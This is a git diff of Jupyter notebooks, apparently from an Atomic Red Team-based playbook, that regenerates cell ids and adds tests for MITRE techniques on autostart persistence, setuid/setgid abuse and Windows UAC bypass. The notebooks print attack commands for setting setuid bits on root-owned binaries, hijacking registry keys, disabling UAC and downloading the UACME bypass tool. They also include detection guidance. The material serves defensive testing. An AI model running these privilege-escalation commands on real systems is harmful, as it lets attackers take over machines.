"Invoke-AtomicTest T1547.015 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "92b351b8", + "id": "a96df787", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "2a3db1bb", + "id": "e6693fad", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.015 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "98b96701", + "id": "b5876fc0", "metadata": {}, "source": "#### Cleanup: \n```powershell\nmv -Force ~\\AppData\\Local\\Temp\\settings.json ~\\AppData\\Local\\Packages\\Microsoft.WindowsTerminal_8wekyb3d8bbwe\\LocalState\\settings.json\ntaskkill /F /IM \"calculator.exe\" > $null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d3c726fc", + "id": "d6d13821", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.015 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "9685e674", + "id": "8034348c", "metadata": {}, "source": [ "### Atomic Test #2 - Add macOS LoginItem using Applescript", @@ -72,28 +72,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ab989af6", + "id": "3ba55a91", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.015 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "e5fbe4ca", + "id": "738acfad", "metadata": {}, "source": "#### Cleanup: \n```bash\nosascript PathToAtomicsFolder/T1547.015/src/remove_login_item.osa\n```" }, { "cell_type": "code", "execution_count": null, - "id": "25dcc307", + "id": "109c54a0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.015 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "a70e12b2", + "id": "b35d535e", "metadata": {}, "source": "## Detection\nAll login items created via shared file lists are viewable by using the System Preferences GUI or in the ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.\n\nOtherwise, login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)\n\nMonitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections." } @@ -101,13 +101,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1547.ipynb b/playbook/tactics/privilege-escalation/T1547.ipynb index 879f8e7f..39639d74 100644 --- a/playbook/tactics/privilege-escalation/T1547.ipynb +++ b/playbook/tactics/privilege-escalation/T1547.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "faa94a5f", + "id": "9ae35b0a", "metadata": {}, "source": "# T1547 - Boot or Logon Autostart Execution\nAdversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges." }, { "cell_type": "markdown", - "id": "6ef4deaa", + "id": "b46ea1d8", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "dc370790", + "id": "978208c5", "metadata": {}, "source": [ "### Atomic Test #1 - Add a driver", @@ -27,20 +27,20 @@ { "cell_type": "code", "execution_count": null, - "id": "1eb0d699", + "id": "4be1552f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "512dee46", + "id": "fafe9188", "metadata": {}, "source": "## Detection\nMonitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. \n\nSuspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.\n\nMonitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation." }, { "cell_type": "markdown", - "id": "976b8707", + "id": "b3f1fb24", "metadata": {}, "source": "\n## Shield Active Defense\n### Baseline \n Identify key system elements to establish a baseline and be prepared to reset a system to that baseline when necessary. \n\n Identify elements of software and configuration critical to a set of objectives, define their proper values, and be prepared to reset a running system to its intended state. \n#### Opportunity\nThere is an opportunity to use tools and controls to stop an adversary's activity.\n#### Use Case\nA defender can store good copies of registry startup keys and restore them on a frequent basis. This can prevent an adversary from using them to launch malware on system startup.\n#### Procedures\nMaintain a verified baseline firewall configuration and use that copy as a fallback if an adversary alters that information.\nMaintain a verified list of group policies enforced on a system and use that copy if an adversary attempts to deviate from the baseline.\n" } @@ -48,13 +48,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1548.001.ipynb b/playbook/tactics/privilege-escalation/T1548.001.ipynb index d6aa55f2..d595c359 100644 --- a/playbook/tactics/privilege-escalation/T1548.001.ipynb +++ b/playbook/tactics/privilege-escalation/T1548.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "730b4c8f", + "id": "e0fa48ce", "metadata": {}, - "source": "# T1548.001 - Setuid and Setgid\nAn adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgit bit, chmod 2775 and chmod g+s can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)" + "source": "# T1548.001 - Setuid and Setgid\nAn adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgid bit, chmod 2775 and chmod g+s can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)" }, { "cell_type": "markdown", - "id": "9f8facb3", + "id": "b8e83041", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "e8e925cb", + "id": "a07acc64", "metadata": {}, "source": [ "### Atomic Test #1 - Make and modify binary from C source", @@ -28,32 +28,67 @@ { "cell_type": "code", "execution_count": null, - "id": "99cb3fc7", + "id": "a5bd9060", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "23a00570", + "id": "10027f64", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo rm /tmp/hello\nsudo rm /tmp/hello.c\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9b048aaf", + "id": "93395b56", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "3638095a", + "id": "7d623914", "metadata": {}, "source": [ - "### Atomic Test #2 - Set a SetUID flag on file", - "This test sets the SetUID flag on a file in Linux and macOS.\n", + "### Atomic Test #2 - Make and modify binary from C source (freebsd)", + "Make, change owner, and change file attributes on a C source code file\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\ncp PathToAtomicsFolder/T1548.001/src/hello.c /tmp/hello.c\nchown root /tmp/hello.c\nmake /tmp/hello\nchown root /tmp/hello\nchmod u+s /tmp/hello\n/tmp/hello\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "abcd65d0", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "770f577c", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm /tmp/hello\nrm /tmp/hello.c\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "612257c5", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "3a155568", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Set a SetUID flag on file", + "This test sets the SetUID flag on a file in FreeBSD.\n", "**Supported Platforms:** macos, linux", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `sh`\n", @@ -63,31 +98,66 @@ { "cell_type": "code", "execution_count": null, - "id": "747e9b0f", + "id": "83a4f8ea", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.001 -TestNumbers 2" + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "2d7ef081", + "id": "dc0f1103", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo rm /tmp/evilBinary\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4624c604", + "id": "75e63c18", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.001 -TestNumbers 2 -Cleanup" + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "6cd01db8", + "metadata": {}, + "source": [ + "### Atomic Test #4 - Set a SetUID flag on file (freebsd)", + "This test sets the SetUID flag on a file in FreeBSD.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\ntouch /tmp/evilBinary\nchown root /tmp/evilBinary\nchmod u+xs /tmp/evilBinary\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "41b32652", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "e33047a2", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm /tmp/evilBinary\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6792c6a6", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "3eaa9c39", + "id": "792c4750", "metadata": {}, "source": [ - "### Atomic Test #3 - Set a SetGID flag on file", + "### Atomic Test #5 - Set a SetGID flag on file", "This test sets the SetGID flag on a file in Linux and macOS.\n", "**Supported Platforms:** macos, linux", "\nElevation Required (e.g. root or admin)", @@ -98,31 +168,66 @@ { "cell_type": "code", "execution_count": null, - "id": "ce5cf196", + "id": "3e679b15", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.001 -TestNumbers 3" + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "ed4cc6a4", + "id": "15aa08d4", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo rm /tmp/evilBinary\n```" }, { "cell_type": "code", "execution_count": null, - "id": "fd9d5c9e", + "id": "3aa947ee", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.001 -TestNumbers 3 -Cleanup" + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "f812e4c6", + "id": "caa513a6", "metadata": {}, "source": [ - "### Atomic Test #4 - Make and modify capabilities of a binary", + "### Atomic Test #6 - Set a SetGID flag on file (freebsd)", + "This test sets the SetGID flag on a file in FreeBSD.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\ntouch /tmp/evilBinary\nchown root /tmp/evilBinary\nchmod g+xs /tmp/evilBinary\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9c901cda", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 6" + }, + { + "cell_type": "markdown", + "id": "3127f512", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm /tmp/evilBinary\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "66ec5676", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 6 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "e4a5755d", + "metadata": {}, + "source": [ + "### Atomic Test #7 - Make and modify capabilities of a binary", "Make and modify [capabilities](https://man7.org/linux/man-pages/man7/capabilities.7.html) of a C source code file.\nThe binary doesn't have to modify the UID, but the binary is given the capability to arbitrarily modify it at any time with `setuid(0)`.\nWithout being owned by root, the binary can set the UID to 0.\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", @@ -133,31 +238,31 @@ { "cell_type": "code", "execution_count": null, - "id": "727f3c48", + "id": "3b6d3f95", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.001 -TestNumbers 4" + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "1320f252", + "id": "fb37e733", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm /tmp/cap\nrm /tmp/cap.c\n```" }, { "cell_type": "code", "execution_count": null, - "id": "80534538", + "id": "03d81cc0", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.001 -TestNumbers 4 -Cleanup" + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "64b09e0f", + "id": "864d9bc2", "metadata": {}, "source": [ - "### Atomic Test #5 - Provide the SetUID capability to a file", + "### Atomic Test #8 - Provide the SetUID capability to a file", "This test gives a file the capability to set UID without using flags.\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", @@ -168,31 +273,31 @@ { "cell_type": "code", "execution_count": null, - "id": "c1338ffd", + "id": "9e7d2958", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.001 -TestNumbers 5" + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "da9a8342", + "id": "9b19654d", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm /tmp/evilBinary\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8ba89f0e", + "id": "ec440ecc", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.001 -TestNumbers 5 -Cleanup" + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "bad2a339", + "id": "a2b97293", "metadata": {}, "source": [ - "### Atomic Test #6 - Do reconnaissance for files that have the setuid bit set", + "### Atomic Test #9 - Do reconnaissance for files that have the setuid bit set", "This test simulates a command that can be run to enumerate files that have the setuid bit set\n", "**Supported Platforms:** linux", "#### Attack Commands: Run with `sh`\n", @@ -202,17 +307,17 @@ { "cell_type": "code", "execution_count": null, - "id": "12f011f4", + "id": "9ce3998a", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.001 -TestNumbers 6" + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "cfad66c1", + "id": "c733def0", "metadata": {}, "source": [ - "### Atomic Test #7 - Do reconnaissance for files that have the setgid bit set", + "### Atomic Test #10 - Do reconnaissance for files that have the setgid bit set", "This test simulates a command that can be run to enumerate files that have the setgid bit set\n", "**Supported Platforms:** linux", "#### Attack Commands: Run with `sh`\n", @@ -222,14 +327,14 @@ { "cell_type": "code", "execution_count": null, - "id": "5f65de37", + "id": "06f031a3", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.001 -TestNumbers 7" + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "a488de6d", + "id": "7e971c87", "metadata": {}, "source": "## Detection\nMonitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set." } @@ -237,13 +342,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1548.002.ipynb b/playbook/tactics/privilege-escalation/T1548.002.ipynb index 98218b66..3e06105f 100644 --- a/playbook/tactics/privilege-escalation/T1548.002.ipynb +++ b/playbook/tactics/privilege-escalation/T1548.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "5d40ea04", + "id": "aba72944", "metadata": {}, "source": "# T1548.002 - Bypass User Account Control\nAdversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)" }, { "cell_type": "markdown", - "id": "01455592", + "id": "4fc38b91", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "286e23e1", + "id": "2f1016f1", "metadata": {}, "source": [ "### Atomic Test #1 - Bypass UAC using Event Viewer (cmd)", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "7b2a107c", + "id": "cca38b5a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "356f0297", + "id": "8ddeaf51", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg.exe delete hkcu\\software\\classes\\mscfile /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "be57234a", + "id": "9ba010b3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "e8ccb513", + "id": "f8f898f4", "metadata": {}, "source": [ "### Atomic Test #2 - Bypass UAC using Event Viewer (PowerShell)", @@ -61,28 +61,28 @@ { "cell_type": "code", "execution_count": null, - "id": "8e463a05", + "id": "5081fc0e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "4ee02875", + "id": "b779d4c2", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"HKCU:\\software\\classes\\mscfile\" -force -Recurse -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "437b84d5", + "id": "02737edc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "72022b5a", + "id": "5896c704", "metadata": {}, "source": [ "### Atomic Test #3 - Bypass UAC using Fodhelper", @@ -95,28 +95,28 @@ { "cell_type": "code", "execution_count": null, - "id": "9d1b5bd1", + "id": "d8d6edc6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "4fe58b93", + "id": "b5d39656", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg.exe delete hkcu\\software\\classes\\ms-settings /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1a0fb45d", + "id": "62673dd5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "b42dbfc1", + "id": "48b6fc6c", "metadata": {}, "source": [ "### Atomic Test #4 - Bypass UAC using Fodhelper - PowerShell", @@ -129,28 +129,28 @@ { "cell_type": "code", "execution_count": null, - "id": "3ba783d1", + "id": "2bfdd8cc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "6d8f95b0", + "id": "56c13c08", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"HKCU:\\software\\classes\\ms-settings\" -force -Recurse -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "329f1b2e", + "id": "0cc34f0e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "6552218c", + "id": "78c1c80a", "metadata": {}, "source": [ "### Atomic Test #5 - Bypass UAC using ComputerDefaults (PowerShell)", @@ -163,28 +163,28 @@ { "cell_type": "code", "execution_count": null, - "id": "8573bab2", + "id": "1d271b36", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "a5abd659", + "id": "9ff49a7b", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"HKCU:\\software\\classes\\ms-settings\" -force -Recurse -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1251539e", + "id": "3bc385e1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "fe8eee6f", + "id": "57a45a4b", "metadata": {}, "source": [ "### Atomic Test #6 - Bypass UAC by Mocking Trusted Directories", @@ -198,28 +198,28 @@ { "cell_type": "code", "execution_count": null, - "id": "3e869c39", + "id": "6c69c738", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "cdbdc5a1", + "id": "1da1491b", "metadata": {}, "source": "#### Cleanup: \n```cmd\nrd \"\\\\?\\C:\\Windows \\\" /S /Q >nul 2>nul\ndel \"c:\\testbypass.exe\" >nul 2>nul\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6959c640", + "id": "883e6721", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "ed5f66fd", + "id": "251ef1df", "metadata": {}, "source": [ "### Atomic Test #7 - Bypass UAC using sdclt DelegateExecute", @@ -232,28 +232,28 @@ { "cell_type": "code", "execution_count": null, - "id": "1ecf0c43", + "id": "0eec5665", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "280496f3", + "id": "522c80de", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -Path \"HKCU:\\Software\\Classes\\Folder\" -Recurse -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "626a4fbf", + "id": "7ac097f1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "3d963b5e", + "id": "c85dd4bf", "metadata": {}, "source": [ "### Atomic Test #8 - Disable UAC using reg.exe", @@ -267,28 +267,28 @@ { "cell_type": "code", "execution_count": null, - "id": "5a878ff6", + "id": "5643ce1d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "8db5c580", + "id": "abc71886", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 1 /f\n```" }, { "cell_type": "code", "execution_count": null, - "id": "37de6234", + "id": "fe537168", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "dfd68311", + "id": "35c69629", "metadata": {}, "source": [ "### Atomic Test #9 - Bypass UAC using SilentCleanup task", @@ -296,380 +296,380 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1548.002\\src\\T1548.002.bat\n```" + "```command_prompt\n\"PathToAtomicsFolder\\T1548.002\\src\\T1548.002.bat\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "c353213a", + "id": "a98a48fd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "3c9e8e6a", + "id": "9e0bd6b1", "metadata": {}, - "source": "### Atomic Test #10 - UACME Bypass Method 23\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Leo Davidson derivative\n\nType:\tDll Hijack\n\nMethod: IFileOperation\n\nTarget:\t\\system32\\pkgmgr.exe\n\nComponent: DismCore.dll\n\nImplementation:\tucmDismMethod\n\nUCM Method:\tUacMethodDISM\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo %temp%\\uacme\\23 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip 